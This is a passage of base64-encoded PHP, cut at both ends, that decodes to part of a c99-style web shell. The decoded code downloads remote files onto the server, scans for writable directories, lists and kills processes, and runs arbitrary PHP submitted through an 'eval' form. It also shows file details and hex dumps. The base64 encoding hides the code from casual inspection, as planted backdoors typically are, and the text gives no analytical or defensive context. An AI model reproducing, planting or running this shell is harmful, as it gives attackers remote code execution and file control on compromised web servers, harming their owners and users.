PSBmb3BlbigkYXJnMSwgInJiIik7CiAgICAkY29udGVudHMgPSAnJzsKICAgIHdoaWxlICghZmVv
ZigkaGFuZGxlKSkgewogICAgICAkY29udGVudHMgLj0gZnJlYWQoJGhhbmRsZSwgODE5Mik7CiAg
ICB9CiAgICAkciA9IEBmb3BlbigkZC4kYXJnMiwndycpOwogICAgaWYgKGZ3cml0ZSgkciwkY29u
dGVudHMpKSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSBzYXZlZCB0byAiLiRkLiRhcmcy
LiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRhcmcyKSkuIikiOyB9CiAgICBlbHNlIHsgZWNo
byAiPGRpdiBjbGFzcz1meGVycm1zZz5Db3VsZG4ndCB3cml0ZSB0byAiLiRkLiRhcmcyLiIhPC9k
aXY+IjsgfQogICAgZmNsb3NlKCRyKTsKICAgIGZjbG9zZSgkaGFuZGxlKTsKICB9CiAgZWxzZWlm
ICgkZnNmdW5jPT0iZG93bmxvYWQiKSB7CiAgICAkdGV4dCA9IGltcGxvZGUoJycsIGZpbGUoJGFy
ZzEpKTsKICAgIGlmICgkdGV4dCkgewogICAgICAkciA9IEBmb3BlbigkZC4kYXJnMiwndycpOwog
ICAgICBpZiAoZndyaXRlKCRyLCR0ZXh0KSkgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEg
c2F2ZWQgdG8gIi4kZC4kYXJnMi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kYXJnMikpLiIp
IjsgfQogICAgICBlbHNlIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5Db3VsZG4ndCB3cml0
ZSB0byAiLiRkLiRhcmcyLiIhPC9kaXY+IjsgfQogICAgICBmY2xvc2UoJHIpOwogICAgfQogICAg
ZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3QgZG93bmxvYWQgZnJvbSAk
YXJnMSE8L2Rpdj4iO30KICB9CiAgZWxzZWlmICgkZnNmdW5jPT0nbWtkaXInKSB7CiAgICAkdGhl
ZGlyID0gJGQuJGFyZzE7CiAgICBpZiAoJHRoZWRpciAhPSAkZCkgewogICAgICBpZiAoZmlsZV9l
eGlzdHMoJHRoZWRpcikpIHsgZWNobyAiPGI+QWxyZWFkeSBleGlzdHM6PC9iPiAiLmh0bWxzcGVj
aWFsY2hhcnMoJHRoZWRpcik7IH0KICAgICAgZWxzZWlmICghbWtkaXIoJHRoZWRpcikpIHsgZWNo
byAiPGI+QWNjZXNzIGRlbmllZDo8L2I+ICIuaHRtbHNwZWNpYWxjaGFycygkdGhlZGlyKTsgfQog
ICAgICBlbHNlIHsgZWNobyAiPGI+RGlyIGNyZWF0ZWQ6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMo
JHRoZWRpcik7fQogICAgfQogICAgZWxzZSB7IGVjaG8gIkNvdWxkbid0IGNyZWF0ZSBjdXJyZW50
IGRpcjo8Yj4gJHRoZWRpcjwvYj4iOyB9CiAgfQogIGVsc2VpZiAoJGZzZnVuYz09J2Z3cml0YWJs
ZWRpcicpIHsKICAgIGZ1bmN0aW9uIHJlY3Vyc2VfZGlyKCRkaXIsJG1heF9kaXIpIHsKICAgICAg
Z2xvYmFsICRkaXJfY291bnQ7CiAgICAgICRkaXJfY291bnQrKzsKICAgICAgaWYoICRjZGlyID0g
QGRpcigkZGlyKSApIHsKICAgICAgICB3aGlsZSggJGVudHJ5ID0gJGNkaXItPiByZWFkKCkgKSB7
CiAgICAgICAgICBpZiggJGVudHJ5ICE9ICcuJyAmJiAkZW50cnkgIT0gJy4uJyApIHsKICAgICAg
ICAgICAgaWYoaXNfZGlyKCRkaXIuJGVudHJ5KSAmJiBpc193cml0YWJsZSgkZGlyLiRlbnRyeSkg
KSB7CiAgICAgICAgICAgICBpZiAoJGRpcl9jb3VudCA+ICRtYXhfZGlyKSB7IHJldHVybjsgfQog
ICAgICAgICAgICAgIGVjaG8gIlsiLiRkaXJfY291bnQuIl0gIi4kZGlyLiRlbnRyeS4iXG4iOwog
ICAgICAgICAgICAgIHJlY3Vyc2VfZGlyKCRkaXIuJGVudHJ5LkRJUkVDVE9SWV9TRVBBUkFUT1Is
JG1heF9kaXIpOwogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRj
ZGlyLT5jbG9zZSgpOwogICAgICB9CiAgICB9CiAgICBpZiAoISRhcmcxKSB7ICRhcmcxID0gJGQ7
IH0KICAgIGlmICghJGFyZzIpIHsgJGFyZzIgPSAxMDsgfQogICAgZWNobyAiPGI+V3JpdGFibGUg
ZGlyZWN0b3JpZXMgKE1heDogJGFyZzIpIGluOjwvYj4gJGFyZzE8YnI+IjsKICAgIGVjaG8gIjxw
cmU+IjsKICAgIHJlY3Vyc2VfZGlyKCRhcmcxLCRhcmcyKTsKICAgIGVjaG8gIjwvcHJlPiI7CiAg
ICAkdG90YWwgPSAkZGlyX2NvdW50IC0gMTsKICAgIGVjaG8gIjxiPkZvdW5kczo8L2I+ICIuJHRv
dGFsLiIgb2YgPGI+TWF4PC9iPiAkYXJnMiI7CiAgfQogIGVsc2UgewogICAgaWYgKCEkYXJnMSkg
eyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPk5vIG9wZXJhdGlvbiEgUGxlYXNlIGZpbGwgcGFy
YW1ldGVyIFtBXSE8L2Rpdj5cbiI7IH0KICAgIGVsc2UgewogICAgICBpZiAoJGhhc2lsID0gJGZz
ZnVuYygkYXJnMSkpIHsKICAgICAgICBlY2hvICI8Yj5SZXN1bHQgb2YgJGZzZnVuYyAkYXJnMTo8
L2I+PGJyPiI7CiAgICAgICAgaWYgKCFpc19hcnJheSgkaGFzaWwpKSB7IGVjaG8gIiRoYXNpbFxu
IjsgfQogICAgICAgIGVsc2UgewogICAgICAgICAgZWNobyAiPHByZT4iOwogICAgICAgICAgZm9y
ZWFjaCAoJGhhc2lsIGFzICR2KSB7IGVjaG8gJHYuIlxuIjsgfQogICAgICAgICAgZWNobyAiPC9w
cmU+IjsKICAgICAgICB9CiAgICAgIH0KICAgICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9Znhl
cnJtc2c+JGZzZnVuYyAkYXJnMSBmYWlsZWQhPC9kaXY+XG4iOyB9CiAgICB9CiAgfQogIGVjaG8g
IjwvZGl2PlxuIjsKfQppZiAoJHggPT0gInByb2Nlc3NlcyIpIHsKICBlY2hvICI8ZGl2IGNsYXNz
PWJhcmhlYWRlcj4uOiBQcm9jZXNzZXMgOi48L2Rpdj4iOwogIGlmICghJHdpbikgeyAkaGFuZGxl
ciA9ICJwcyAtYXV4Ii4oJGdyZXA/IiB8IGdyZXAgJyIuYWRkc2xhc2hlcygkZ3JlcCkuIiciOiIi
KTsgfQogIGVsc2UgeyAkaGFuZGxlciA9ICJ0YXNrbGlzdCI7IH0KICAkcmV0ID0gbXlzaGVsbGV4
ZWMoJGhhbmRsZXIpOwogIGlmICghJHJldCkgeyBlY2hvICJDYW4ndCBleGVjdXRlIFwiIi4kaGFu
ZGxlci4iXCIhIjsgfQogIGVsc2UgewogICAgaWYgKGVtcHR5KCRwcm9jZXNzZXNfc29ydCkpIHsk
cHJvY2Vzc2VzX3NvcnQgPSAkc29ydF9kZWZhdWx0O30KICAgICRwYXJzZXNvcnQgPSBwYXJzZXNv
cnQoJHByb2Nlc3Nlc19zb3J0KTsKICAgIGlmICghaXNfbnVtZXJpYygkcGFyc2Vzb3J0WzBdKSkg
eyRwYXJzZXNvcnRbMF0gPSAwO30KICAgICRrID0gJHBhcnNlc29ydFswXTsKICAgIGlmICgkcGFy
c2Vzb3J0WzFdICE9ICJhIikgewogICAgICAkeSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRk
c3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImFcIj48aW1n
IHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0X2Rlc2NcIiBib3JkZXI9XCIwXCI+PC9hPiI7
CiAgICB9CiAgICBlbHNlIHsKICAgICAgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNw
YWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBz
cmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIx
NFwiIGJvcmRlcj1cIjBcIj48L2E+IjsKICAgIH0KICAgICRyZXQgPSBodG1sc3BlY2lhbGNoYXJz
KCRyZXQpOwogICAgaWYgKCEkd2luKSB7CiAgICAgIGlmICgkcGlkKSB7CiAgICAgICAgaWYgKGlz
X251bGwoJHNpZykpIHskc2lnID0gOTt9CiAgICAgICAgZWNobyAiU2VuZGluZyBzaWduYWwgIi4k
c2lnLiIgdG8gIyIuJHBpZC4iLi4uICI7CiAgICAgICAgaWYgKHBvc2l4X2tpbGwoJHBpZCwkc2ln
KSkge2VjaG8gIk9LLiI7fQogICAgICAgIGVsc2Uge2VjaG8gIkVSUk9SLiI7fQogICAgICB9CiAg
ICAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIs
JHJldCk7fQogICAgICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7CiAgICAgICRoZWFkID0g
ZXhwbG9kZSgiICIsJHN0YWNrWzBdKTsKICAgICAgdW5zZXQoJHN0YWNrWzBdKTsKICAgICAgZm9y
KCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspIHsKICAgICAgICBpZiAoJGkgIT0gJGspIHskaGVh
ZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgk
ZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIuJGhlYWRbJGld
LiI8L2I+PC9hPiI7fQogICAgICB9CiAgICAgICRwcmNzID0gYXJyYXkoKTsKICAgICAgZm9yZWFj
aCAoJHN0YWNrIGFzICRsaW5lKSB7CiAgICAgICAgaWYgKCFlbXB0eSgkbGluZSkpIHsKICAgICAg
ICAgIGVjaG8gIjx0cj4iOwogICAgICAgICAgJGxpbmUgPSBleHBsb2RlKCIgIiwkbGluZSk7CiAg
ICAgICAgICAkbGluZVsxMF0gPSBqb2luKCIgIixhcnJheV9zbGljZSgkbGluZSwxMCkpOwogICAg
ICAgICAgJGxpbmUgPSBhcnJheV9zbGljZSgkbGluZSwwLDExKTsKICAgICAgICAgIGlmICgkbGlu
ZVswXSA9PSBnZXRfY3VycmVudF91c2VyKCkpIHskbGluZVswXSA9ICI8Zm9udCBjb2xvcj1ncmVl
bj4iLiRsaW5lWzBdLiI8L2ZvbnQ+Ijt9CiAgICAgICAgICAkbGluZVtdID0gIjxhIGhyZWY9XCIi
LiRzdXJsLiJ4PXByb2Nlc3NlcyZkPSIudXJsZW5jb2RlKCRkKS4iJnBpZD0iLiRsaW5lWzFdLiIm
c2lnPTlcIj48dT5LSUxMPC91PjwvYT4iOwogICAgICAgICAgJHByY3NbXSA9ICRsaW5lOwogICAg
ICAgICAgZWNobyAiPC90cj4iOwogICAgICAgIH0KICAgICAgfQogICAgfQogICAgZWxzZSB7CiAg
ICAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIs
JHJldCk7fQogICAgICB3aGlsZSAoZXJlZygiPSIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2Uo
Ij0iLCIiLCRyZXQpO30KICAgICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwi
dyIpOwogICAgICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7CiAgICAgIHVuc2V0KCRzdGFj
a1swXSwkc3RhY2tbMl0pOwogICAgICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsKICAg
ICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJJbWFnZSBOYW1lIiwiSW1hZ2VOYW1lIiwkc3RhY2tb
MF0pOwogICAgICAkc3RhY2tbMF09c3RyX3JlcGxhY2UoIlNlc3Npb24gTmFtZSIsIlNlc3Npb25O
YW1lIiwkc3RhY2tbMF0pOwogICAgICAkc3RhY2tbMF09c3RyX3JlcGxhY2UoIk1lbSBVc2FnZSIs
Ik1lbW9yeVVzYWdlIiwkc3RhY2tbMF0pOwogICAgICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFj
a1swXSk7CiAgICAgICRzdGFjayA9IGFycmF5X3NsaWNlKCRzdGFjaywxKTsKICAgICAgJGhlYWQg
PSBhcnJheV92YWx1ZXMoJGhlYWQpOwogICAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHsg
JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCku
IiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9
c29ydF9kZXNjXCIgYm9yZGVyPVwiMFwiPjwvYT4iOyB9CiAgICAgIGVsc2UgeyAkeSA9ICI8YSBo
cmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nl
c19zb3J0PSIuJGsuImRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0X2FzY1wi
IGJvcmRlcj1cIjBcIj48L2E+IjsgfQogICAgICBpZiAoJGsgPiBjb3VudCgkaGVhZCkpIHskayA9
IGNvdW50KCRoZWFkKS0xO30KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspIHsK
ICAgICAgICBpZiAoJGkgIT0gJGspIHsgJGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4
PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kaS4kcGFy
c2Vzb3J0WzFdLiJcIj48Yj4iLnRyaW0oJGhlYWRbJGldKS4iPC9iPjwvYT4iOyB9CiAgICAgIH0K
ICAgICAgJHByY3MgPSBhcnJheSgpOwogICAgICB1bnNldCgkc3RhY2tbMF0pOwogICAgICBmb3Jl
YWNoICgkc3RhY2sgYXMgJGxpbmUpIHsKICAgICAgICBpZiAoIWVtcHR5KCRsaW5lKSkgewogICAg
ICAgICAgJGxpbmUgPSBleHBsb2RlKCIgIiwkbGluZSk7CiAgICAgICAgICAkbGluZVs0XSA9IHN0
cl9yZXBsYWNlKCIuIiwiIiwkbGluZVs0XSk7CiAgICAgICAgICAkbGluZVs0XSA9IGludHZhbCgk
bGluZVs0XSkgKiAxMDI0OwogICAgICAgICAgdW5zZXQoJGxpbmVbNV0pOwogICAgICAgICAgJHBy
Y3NbXSA9ICRsaW5lOwogICAgICAgIH0KICAgICAgfQogICAgfQogICAgJGhlYWRbJGtdID0gIjxi
PiIuJGhlYWRbJGtdLiI8L2I+Ii4keTsKICAgICR2ID0gJHByb2Nlc3Nlc19zb3J0WzBdOwogICAg
dXNvcnQoJHByY3MsInRhYnNvcnQiKTsKICAgIGlmICgkcHJvY2Vzc2VzX3NvcnRbMV0gPT0gImQi
KSB7JHByY3MgPSBhcnJheV9yZXZlcnNlKCRwcmNzKTt9CiAgICAkdGFiID0gYXJyYXkoKTsKICAg
ICR0YWJbXSA9ICRoZWFkOwogICAgJHRhYiA9IGFycmF5X21lcmdlKCR0YWIsJHByY3MpOwogICAg
ZWNobyAiPHRhYmxlIGNsYXNzPWV4cGxvcmVyPiI7CiAgICBmb3JlYWNoKCR0YWIgYXMgJGk9PiRr
KSB7CiAgICAgIGVjaG8gIjx0cj4iOwogICAgICBmb3JlYWNoKCRrIGFzICRqPT4kdikgewogICAg
ICAgIGlmICgkd2luIGFuZCAkaSA+IDAgYW5kICRqID09IDQpIHskdiA9IHZpZXdfc2l6ZSgkdik7
fQogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7CiAgICAgIH0KICAgICAgZWNobyAiPC90
cj4iOwogICAgfQogICAgZWNobyAiPC90YWJsZT4iOwogIH0KfQppZiAoJHggPT0gImV2YWwiKSB7
CiAgaWYgKCFlbXB0eSgkZXZhbCkpIHsKICAgIGVjaG8gIlJlc3VsdCBvZiBleGVjdXRpb24gdGhp
cyBQSFAtY29kZTo8YnI+IjsKICAgICR0bXAgPSBvYl9nZXRfY29udGVudHMoKTsKICAgICRvbGRk
aXIgPSByZWFscGF0aCgiLiIpOwogICAgQGNoZGlyKCRkKTsKICAgIGlmICgkdG1wKSB7CiAgICAg
IG9iX2NsZWFuKCk7CiAgICAgIGV2YWwoJGV2YWwpOwogICAgICAkcmV0ID0gb2JfZ2V0X2NvbnRl
bnRzKCk7CiAgICAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsKICAg
ICAgb2JfY2xlYW4oKTsKICAgICAgZWNobyAkdG1wOwogICAgICBpZiAoJGV2YWxfdHh0KSB7CiAg
ICAgICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsKICAgICAgICBpZiAo
JHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQogICAgICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29s
cz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIiByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMo
JHJldCkuIjwvdGV4dGFyZWE+IjsKICAgICAgfQogICAgICBlbHNlIHtlY2hvICRyZXQuIjxicj4i
O30KICAgIH0KICAgIGVsc2UgewogICAgICBpZiAoJGV2YWxfdHh0KSB7CiAgICAgICAgZWNobyAi
PGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIjE1XCIgcmVhZG9ubHk+IjsKICAgICAg
ICBldmFsKCRldmFsKTsKICAgICAgICBlY2hvICI8L3RleHRhcmVhPiI7CiAgICAgIH0KICAgICAg
ZWxzZSB7ZWNobyAkcmV0O30KICAgIH0KICAgIEBjaGRpcigkb2xkZGlyKTsKICB9CiAgZWxzZSB7
ZWNobyAiPGI+UEhQLWNvZGUgRXhlY3V0aW9uIChVc2Ugd2l0aG91dCBQSFAgQnJhY2VzISk8L2I+
IjsgaWYgKGVtcHR5KCRldmFsX3R4dCkpIHskZXZhbF90eHQgPSBUUlVFO319CiAgZWNobyAiPGZv
cm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5h
bWU9eCB2YWx1ZT1ldmFsPjx0ZXh0YXJlYSBuYW1lPVwiZXZhbFwiIGNvbHM9XCIxMjJcIiByb3dz
PVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGV2YWwpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBl
PWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxicj48YnI+PGlucHV0IHR5
cGU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5i
c3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJldmFsX3R4dFwiIHZhbHVlPVwiMVwi
IjsgaWYgKCRldmFsX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsKfQpp
ZiAoJHggPT0gImYiKSB7CiAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PiI7CiAgaWYgKCghaXNfcmVh
ZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKSB7CiAgICBp
ZiAoZmlsZV9leGlzdHMoJGQuJGYpKSB7ZWNobyAiPGNlbnRlcj48Yj5QZXJtaXNpb24gZGVuaWVk
ICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQuJGYpLiIpITwvYj48L2NlbnRlcj4iO30KICAgIGVsc2Ug
e2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFy
cygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUo
JGYpLiImZnQ9ZWRpdCZkPSIudXJsZW5jb2RlKCRkKS4iJmM9MVwiPjx1PkNyZWF0ZTwvdT48L2E+
PC9jZW50ZXI+Ijt9CiAgfQogIGVsc2UgewogICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQu
JGYpOwogICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsKICAgICRjID0gY291bnQoJGV4dCktMTsK
ICAgICRleHQgPSAkZXh0WyRjXTsKICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwogICAgJHJm
dCA9ICIiOwogICAgZm9yZWFjaCgkZnR5cGVzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkZXh0
LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fX0KICAgIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikp
IHskcmZ0ID0gInBocHNlc3MiO30KICAgIGlmIChlbXB0eSgkZnQpKSB7JGZ0ID0gJHJmdDt9CiAg
ICAkYXJyID0gYXJyYXkoCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcm
aW1nPWV4dF9kaXpcIiBib3JkZXI9XCIwXCI+IiwiaW5mbyIpLAogICAgICAgIGFycmF5KCI8aW1n
IHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfaHRtbFwiIGJvcmRlcj1cIjBcIj4iLCJodG1s
IiksCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF90eHRc
IiBib3JkZXI9XCIwXCI+IiwidHh0IiksCiAgICAgICAgYXJyYXkoIkNvZGUiLCJjb2RlIiksCiAg
ICAgICAgYXJyYXkoIlNlc3Npb24iLCJwaHBzZXNzIiksCiAgICAgICAgYXJyYXkoIjxpbWcgc3Jj
PVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9leGVcIiBib3JkZXI9XCIwXCI+IiwiZXhlIiksCiAg
ICAgICAgYXJyYXkoIlNEQiIsInNkYiIpLAogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1
cmwuIng9aW1nJmltZz1leHRfZ2lmXCIgYm9yZGVyPVwiMFwiPiIsImltZyIpLAogICAgICAgIGFy
cmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfaW5pXCIgYm9yZGVyPVwiMFwi
PiIsImluaSIpLAogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1k
b3dubG9hZFwiIGJvcmRlcj1cIjBcIj4iLCJkb3dubG9hZCIpLAogICAgICAgIGFycmF5KCI8aW1n
IHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfcnRmXCIgYm9yZGVyPVwiMFwiPiIsIm5vdGVw
YWQiKSwKICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9Y2hhbmdl
XCIgYm9yZGVyPVwiMFwiPiIsImVkaXQiKQogICAgKTsKICAgIGVjaG8gIjxiPlZpZXdpbmcgZmls
ZTombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1l
eHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZi4iICgiLnZpZXdfc2l6ZShmaWxl
c2l6ZSgkZC4kZikpLiIpICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIudmlld19wZXJt
c19jb2xvcigkZC4kZikuIjwvYj48YnI+U2VsZWN0IGFjdGlvbi9maWxlLXR5cGU6PGJyPiI7CiAg
ICBmb3JlYWNoKCRhcnIgYXMgJHQpIHsKICAgICAgaWYgKCR0WzFdID09ICRyZnQpIHtlY2hvICIg
PGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZk
PSIudXJsZW5jb2RlKCRkKS4iXCI+PGZvbnQgY29sb3I9Z3JlZW4+Ii4kdFswXS4iPC9mb250Pjwv
YT4iO30KICAgICAgZWxzZWlmICgkdFsxXSA9PSAkZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1
cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRk
KS4iXCI+PGI+PHU+Ii4kdFswXS4iPC91PjwvYj48L2E+Ijt9CiAgICAgIGVsc2Uge2VjaG8gIiA8
YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9
Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLiR0WzBdLiI8L2I+PC9hPiI7fQogICAgICBlY2hvICIg
KDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiIm
d2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+KzwvYT4pIHwi
OwogICAgfQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgaWYgKCRmdCA9
PSAiaW5mbyIpIHsKICAgICAgZWNobyAiPGI+SW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9
MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Yj5QYXRoPC9iPjwvdGQ+PHRk
PiAiLiRkLiRmLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPiAiLnZpZXdf
c2l6ZShmaWxlc2l6ZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NRDU8L2I+PC90ZD48
dGQ+ICIubWQ1X2ZpbGUoJGQuJGYpLiI8L3RkPjwvdHI+IjsKICAgICAgaWYgKCEkd2luKSB7CiAg
ICAgICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsKICAgICAg
ICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQuJGYpKTsKICAgICAgICAkZ3IgPSBw
b3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsKICAgICAgICBlY2hvICgkb3dbIm5hbWUi
XT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJGQuJGYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFt
ZSJdOmZpbGVncm91cCgkZC4kZikpOwogICAgICB9CiAgICAgIGVjaG8gIjx0cj48dGQ+PGI+UGVy
bXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwuIng9Y2htb2QmZj0iLnVybGVuY29kZSgk
ZikuIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9h
PjwvdGQ+PC90cj48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQv
bS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNz
IHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZC4kZikp
LiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJk
L20vWSBIOmk6cyIsZmlsZW10aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgICAg
ICRmaSA9IGZvcGVuKCRkLiRmLCJyYiIpOwogICAgICBpZiAoJGZpKSB7CiAgICAgICAgaWYgKCRm
dWxsaGV4ZHVtcCkge2VjaG8gIjxiPkZVTEwgSEVYRFVNUDwvYj4iOyAkc3RyID0gZnJlYWQoJGZp
LGZpbGVzaXplKCRkLiRmKSk7fQogICAgICAgIGVsc2Uge2VjaG8gIjxiPkhFWERVTVAgUFJFVklF
VzwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLCRoZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30K
ICAgICAgICAkbiA9IDA7CiAgICAgICAgJGEwID0gIjAwMDAwMDAwPGJyPiI7CiAgICAgICAgJGEx
ID0gIiI7CiAgICAgICAgJGEyID0gIiI7CiAgICAgICAgZm9yICgkaT0wOyAkaTxzdHJsZW4oJHN0
cik7ICRpKyspIHsKICAgICAgICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0p
